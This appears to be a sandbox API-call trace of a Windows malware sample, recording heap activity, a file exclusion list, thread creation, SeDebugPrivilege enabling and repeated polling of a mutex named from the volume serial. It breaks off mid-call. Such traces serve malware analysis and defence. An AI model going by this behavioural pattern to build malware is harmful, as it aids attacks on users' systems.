GetProcessHeap () returned 0x330000 [0080.163] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x184) returned 0x33a640 [0080.163] GetProcessHeap () returned 0x330000 [0080.163] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x338360 [0080.164] GetProcessHeap () returned 0x330000 [0080.164] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34aa38 [0080.164] GetProcessHeap () returned 0x330000 [0080.164] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x250) returned 0x34ac50 [0080.164] GetProcessHeap () returned 0x330000 [0080.164] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xb0) returned 0x33a518 [0080.164] GetProcessHeap () returned 0x330000 [0080.164] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xa2) returned 0x339880 [0080.164] GetProcessHeap () returned 0x330000 [0080.164] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xa2) returned 0x339bf0 [0080.164] GetProcessHeap () returned 0x330000 [0080.164] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0080.164] GetProcessHeap () returned 0x330000 [0080.164] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0080.164] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;regsetka32.txt", lpDst=0x339880, nSize=0x51 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;regsetka32.txt") returned 0x51 [0080.164] GetProcessHeap () returned 0x330000 [0080.164] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x339bf0 | out: hHeap=0x330000) returned 1 [0080.164] GetProcessHeap () returned 0x330000 [0080.164] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a518 | out: hHeap=0x330000) returned 1 [0080.164] GetProcessHeap () returned 0x330000 [0080.164] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x70) returned 0x34b750 [0080.164] GetProcessHeap () returned 0x330000 [0080.164] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x62) returned 0x33a868 [0080.164] GetProcessHeap () returned 0x330000 [0080.165] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x62) returned 0x338ef0 [0080.165] GetProcessHeap () returned 0x330000 [0080.165] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0080.165] GetProcessHeap () returned 0x330000 [0080.165] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0080.165] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x33a868, nSize=0x31 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0080.165] GetProcessHeap () returned 0x330000 [0080.165] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x338ef0 | out: hHeap=0x330000) returned 1 [0080.165] GetProcessHeap () returned 0x330000 [0080.165] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x33a868, Size=0xc2) returned 0x33a518 [0080.165] GetProcessHeap () returned 0x330000 [0080.165] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xc2) returned 0x33b508 [0080.165] GetProcessHeap () returned 0x330000 [0080.165] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0080.165] GetProcessHeap () returned 0x330000 [0080.165] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0080.165] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x33a518, nSize=0x61 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0080.165] GetProcessHeap () returned 0x330000 [0080.165] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33b508 | out: hHeap=0x330000) returned 1 [0080.165] GetProcessHeap () returned 0x330000 [0080.165] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34b750 | out: hHeap=0x330000) returned 1 [0080.165] GetProcessHeap () returned 0x330000 [0080.165] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20a) returned 0x34ba80 [0080.166] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34ba80, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0080.166] GetProcessHeap () returned 0x330000 [0080.166] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ba80 | out: hHeap=0x330000) returned 1 [0080.166] GetProcessHeap () returned 0x330000 [0080.166] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x182) returned 0x34ba80 [0080.166] GetProcessHeap () returned 0x330000 [0080.166] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x24a) returned 0x34bc10 [0080.166] GetProcessHeap () returned 0x330000 [0080.166] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0xa4) returned 0x339eb0 [0080.166] GetProcessHeap () returned 0x330000 [0080.166] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x339eb0, Size=0xc6) returned 0x33b508 [0080.166] GetProcessHeap () returned 0x330000 [0080.166] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x6a) returned 0x34b660 [0080.166] GetProcessHeap () returned 0x330000 [0080.166] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34aa38 | out: hHeap=0x330000) returned 1 [0080.166] GetProcessHeap () returned 0x330000 [0080.166] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ac50 | out: hHeap=0x330000) returned 1 [0080.166] GetProcessHeap () returned 0x330000 [0080.166] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x339880 | out: hHeap=0x330000) returned 1 [0080.166] GetProcessHeap () returned 0x330000 [0080.166] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a518 | out: hHeap=0x330000) returned 1 [0080.166] GetProcessHeap () returned 0x330000 [0080.166] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3382e8 | out: hHeap=0x330000) returned 1 [0080.166] GetProcessHeap () returned 0x330000 [0080.167] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33afe8 | out: hHeap=0x330000) returned 1 [0080.167] GetProcessHeap () returned 0x330000 [0080.167] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a248 | out: hHeap=0x330000) returned 1 [0080.167] GetProcessHeap () returned 0x330000 [0080.167] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a640 | out: hHeap=0x330000) returned 1 [0080.167] GetProcessHeap () returned 0x330000 [0080.167] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x14) returned 0x34cb88 [0080.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e22ee, lpParameter=0x34cb88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4 [0080.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e239a, lpParameter=0x10ffd44, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8 [0080.169] GetProcessHeap () returned 0x330000 [0080.169] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x14) returned 0x34cb28 [0080.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e2161, lpParameter=0x34cb28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c [0080.169] GetProcessHeap () returned 0x330000 [0080.170] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x14) returned 0x34c948 [0080.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e1a76, lpParameter=0x34c948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210 [0080.170] GetProcessHeap () returned 0x330000 [0080.170] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x14) returned 0x34cb68 [0080.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e1cc5, lpParameter=0x34cb68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214 [0080.172] WaitForSingleObject (hHandle=0x210, dwMilliseconds=0xffffffff) returned 0x0 [0080.262] WaitForMultipleObjects (nCount=0x4, lpHandles=0x10ffda0*=0x1e4, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 5 os_tid = 0x1138 Thread: id = 6 os_tid = 0x113c [0080.208] GetProcessHeap () returned 0x330000 [0080.209] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x440) returned 0x34ccc8 [0080.209] GetProcessHeap () returned 0x330000 [0080.209] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x30) returned 0x345ec0 [0080.209] GetCurrentProcess () returned 0xffffffff [0080.209] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x26ffa30 | out: TokenHandle=0x26ffa30*=0x218) returned 1 [0080.209] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x26ffa28 | out: lpLuid=0x26ffa28*(LowPart=0x14, HighPart=0)) returned 1 [0080.261] AdjustTokenPrivileges (in: TokenHandle=0x218, DisableAllPrivileges=0, NewState=0x26ffa18*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0080.261] CloseHandle (hObject=0x218) returned 1 [0080.261] GetProcessHeap () returned 0x330000 [0080.261] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345ec0 | out: hHeap=0x330000) returned 1 [0080.261] GetProcessHeap () returned 0x330000 [0080.261] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x434) returned 0x34d318 [0080.261] GetProcessHeap () returned 0x330000 [0080.261] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d318 | out: hHeap=0x330000) returned 1 [0080.261] GetProcessHeap () returned 0x330000 [0080.261] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ccc8 | out: hHeap=0x330000) returned 1 [0080.261] GetProcessHeap () returned 0x330000 [0080.261] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cb88 | out: hHeap=0x330000) returned 1 Thread: id = 7 os_tid = 0x1140 [0080.238] GetVersion () returned 0x23f00206 [0080.239] GetCurrentProcess () returned 0xffffffff [0080.239] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x283ff48 | out: TokenHandle=0x283ff48*=0x238) returned 1 [0080.239] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x14, TokenInformation=0x283ff40, TokenInformationLength=0x4, ReturnLength=0x283ff44 | out: TokenInformation=0x283ff40, ReturnLength=0x283ff44) returned 1 [0080.239] CloseHandle (hObject=0x238) returned 1 [0080.239] GetProcessHeap () returned 0x330000 [0080.239] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x34a9c8 [0080.239] GetProcessHeap () returned 0x330000 [0080.239] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x34a658 [0080.239] GetProcessHeap () returned 0x330000 [0080.239] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x34a748 [0080.239] GetProcessHeap () returned 0x330000 [0080.239] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33a518 [0080.239] GetProcessHeap () returned 0x330000 [0080.239] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a518 | out: hHeap=0x330000) returned 1 [0080.239] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x34a658, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0080.239] GetProcessHeap () returned 0x330000 [0080.239] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a748 | out: hHeap=0x330000) returned 1 [0080.239] GetProcessHeap () returned 0x330000 [0080.240] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a9c8 | out: hHeap=0x330000) returned 1 [0080.240] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0080.240] GetProcessHeap () returned 0x330000 [0080.240] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a658 | out: hHeap=0x330000) returned 1 [0080.240] GetProcessHeap () returned 0x330000 [0080.240] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x33e018 [0080.240] GetProcessHeap () returned 0x330000 [0080.240] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x33db08 [0080.240] GetProcessHeap () returned 0x330000 [0080.240] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x33db08, Size=0x72) returned 0x33add8 [0080.240] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x238 [0080.240] WaitForSingleObject (hHandle=0x238, dwMilliseconds=0x0) returned 0x102 [0080.240] CloseHandle (hObject=0x238) returned 1 [0080.240] GetProcessHeap () returned 0x330000 [0080.241] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33e018 | out: hHeap=0x330000) returned 1 [0080.241] GetProcessHeap () returned 0x330000 [0080.241] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33add8 | out: hHeap=0x330000) returned 1 [0080.241] Sleep (dwMilliseconds=0x3e8) [0081.258] GetProcessHeap () returned 0x330000 [0081.258] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x34a8b0 [0081.258] GetProcessHeap () returned 0x330000 [0081.258] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x34a9a0 [0081.258] GetProcessHeap () returned 0x330000 [0081.258] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x34a9c8 [0081.258] GetProcessHeap () returned 0x330000 [0081.258] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x363028 [0081.258] GetProcessHeap () returned 0x330000 [0081.258] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x363028 | out: hHeap=0x330000) returned 1 [0081.258] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x34a9a0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0081.258] GetProcessHeap () returned 0x330000 [0081.258] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a9c8 | out: hHeap=0x330000) returned 1 [0081.258] GetProcessHeap () returned 0x330000 [0081.258] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a8b0 | out: hHeap=0x330000) returned 1 [0081.259] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0081.259] GetProcessHeap () returned 0x330000 [0081.259] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a9a0 | out: hHeap=0x330000) returned 1 [0081.259] GetProcessHeap () returned 0x330000 [0081.259] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x33db08 [0081.259] GetProcessHeap () returned 0x330000 [0081.259] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x33db98 [0081.259] GetProcessHeap () returned 0x330000 [0081.259] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x33db98, Size=0x72) returned 0x33a310 [0081.259] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x230 [0081.260] WaitForSingleObject (hHandle=0x230, dwMilliseconds=0x0) returned 0x102 [0081.260] CloseHandle (hObject=0x230) returned 1 [0081.260] GetProcessHeap () returned 0x330000 [0081.260] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33db08 | out: hHeap=0x330000) returned 1 [0081.260] GetProcessHeap () returned 0x330000 [0081.260] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0081.260] Sleep (dwMilliseconds=0x3e8) [0082.652] GetProcessHeap () returned 0x330000 [0082.652] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x34a9c8 [0082.653] GetProcessHeap () returned 0x330000 [0082.653] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x34a748 [0082.653] GetProcessHeap () returned 0x330000 [0082.653] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x34a798 [0082.653] GetProcessHeap () returned 0x330000 [0082.653] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0082.653] GetProcessHeap () returned 0x330000 [0082.653] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0082.653] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x34a748, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0082.653] GetProcessHeap () returned 0x330000 [0082.653] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a798 | out: hHeap=0x330000) returned 1 [0082.653] GetProcessHeap () returned 0x330000 [0082.654] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a9c8 | out: hHeap=0x330000) returned 1 [0082.654] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0082.654] GetProcessHeap () returned 0x330000 [0082.654] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34a748 | out: hHeap=0x330000) returned 1 [0082.654] GetProcessHeap () returned 0x330000 [0082.654] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x33e0f0 [0082.655] GetProcessHeap () returned 0x330000 [0082.655] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x33db98 [0082.655] GetProcessHeap () returned 0x330000 [0082.655] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x33db98, Size=0x72) returned 0x33a310 [0082.655] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x284 [0082.655] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x0) returned 0x102 [0082.655] CloseHandle (hObject=0x284) returned 1 [0082.655] GetProcessHeap () returned 0x330000 [0082.655] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33e0f0 | out: hHeap=0x330000) returned 1 [0082.655] GetProcessHeap () returned 0x330000 [0082.655] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0082.655] Sleep (dwMilliseconds=0x3e8) [0083.662] GetProcessHeap () returned 0x330000 [0083.662] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x367830 [0083.662] GetProcessHeap () returned 0x330000 [0083.663] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x3677b8 [0083.663] GetProcessHeap () returned 0x330000 [0083.663] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x367678 [0083.663] GetProcessHeap () returned 0x330000 [0083.663] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0083.663] GetProcessHeap () returned 0x330000 [0083.663] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0083.663] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3677b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0083.663] GetProcessHeap () returned 0x330000 [0083.663] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367678 | out: hHeap=0x330000) returned 1 [0083.663] GetProcessHeap () returned 0x330000 [0083.663] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367830 | out: hHeap=0x330000) returned 1 [0083.663] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0083.664] GetProcessHeap () returned 0x330000 [0083.664] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3677b8 | out: hHeap=0x330000) returned 1 [0083.664] GetProcessHeap () returned 0x330000 [0083.664] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x35f698 [0083.664] GetProcessHeap () returned 0x330000 [0083.664] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35fa88 [0083.664] GetProcessHeap () returned 0x330000 [0083.664] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35fa88, Size=0x72) returned 0x33a310 [0083.664] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0083.664] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0083.664] CloseHandle (hObject=0x2d4) returned 1 [0083.664] GetProcessHeap () returned 0x330000 [0083.664] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35f698 | out: hHeap=0x330000) returned 1 [0083.664] GetProcessHeap () returned 0x330000 [0083.664] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0083.665] Sleep (dwMilliseconds=0x3e8) [0085.464] GetProcessHeap () returned 0x330000 [0085.464] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x367920 [0085.464] GetProcessHeap () returned 0x330000 [0085.464] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x367830 [0085.465] GetProcessHeap () returned 0x330000 [0085.465] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x3678d0 [0085.465] GetProcessHeap () returned 0x330000 [0085.465] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0085.465] GetProcessHeap () returned 0x330000 [0085.465] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0085.465] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x367830, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0085.465] GetProcessHeap () returned 0x330000 [0085.465] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3678d0 | out: hHeap=0x330000) returned 1 [0085.465] GetProcessHeap () returned 0x330000 [0085.465] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367920 | out: hHeap=0x330000) returned 1 [0085.465] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0085.465] GetProcessHeap () returned 0x330000 [0085.465] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367830 | out: hHeap=0x330000) returned 1 [0085.465] GetProcessHeap () returned 0x330000 [0085.466] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x35f3c8 [0085.466] GetProcessHeap () returned 0x330000 [0085.466] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35f0b0 [0085.466] GetProcessHeap () returned 0x330000 [0085.466] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35f0b0, Size=0x72) returned 0x33a310 [0085.466] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0085.466] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0085.466] CloseHandle (hObject=0x2d4) returned 1 [0085.466] GetProcessHeap () returned 0x330000 [0085.466] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35f3c8 | out: hHeap=0x330000) returned 1 [0085.466] GetProcessHeap () returned 0x330000 [0085.466] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33a310 | out: hHeap=0x330000) returned 1 [0085.466] Sleep (dwMilliseconds=0x3e8) [0087.954] GetProcessHeap () returned 0x330000 [0087.954] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20) returned 0x3674c0 [0087.954] GetProcessHeap () returned 0x330000 [0087.954] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x367808 [0087.954] GetProcessHeap () returned 0x330000 [0087.954] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x1e) returned 0x3677b8 [0087.954] GetProcessHeap () returned 0x330000 [0087.954] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x90) returned 0x33ace8 [0087.954] GetProcessHeap () returned 0x330000 [0087.954] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33ace8 | out: hHeap=0x330000) returned 1 [0087.954] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x367808, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0087.954] GetProcessHeap () returned 0x330000 [0087.954] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3677b8 | out: hHeap=0x330000) returned 1 [0087.955] GetProcessHeap () returned 0x330000 [0087.955] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3674c0 | out: hHeap=0x330000) returned 1 [0087.955] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x283fed0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x283fed0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0087.955] GetProcessHeap () returned 0x330000 [0087.955] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x367808 | out: hHeap=0x330000) returned 1 [0087.955] GetProcessHeap () returned 0x330000 [0087.955] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x40) returned 0x35ec78 [0087.955] GetProcessHeap () returned 0x330000 [0087.955] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3a) returned 0x35ebe8 [0087.955] GetProcessHeap () returned 0x330000 [0087.955] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x35ebe8, Size=0x72) returned 0x33a310 [0087.955] OpenMutexW (dwDesiredAccess=0x100000, 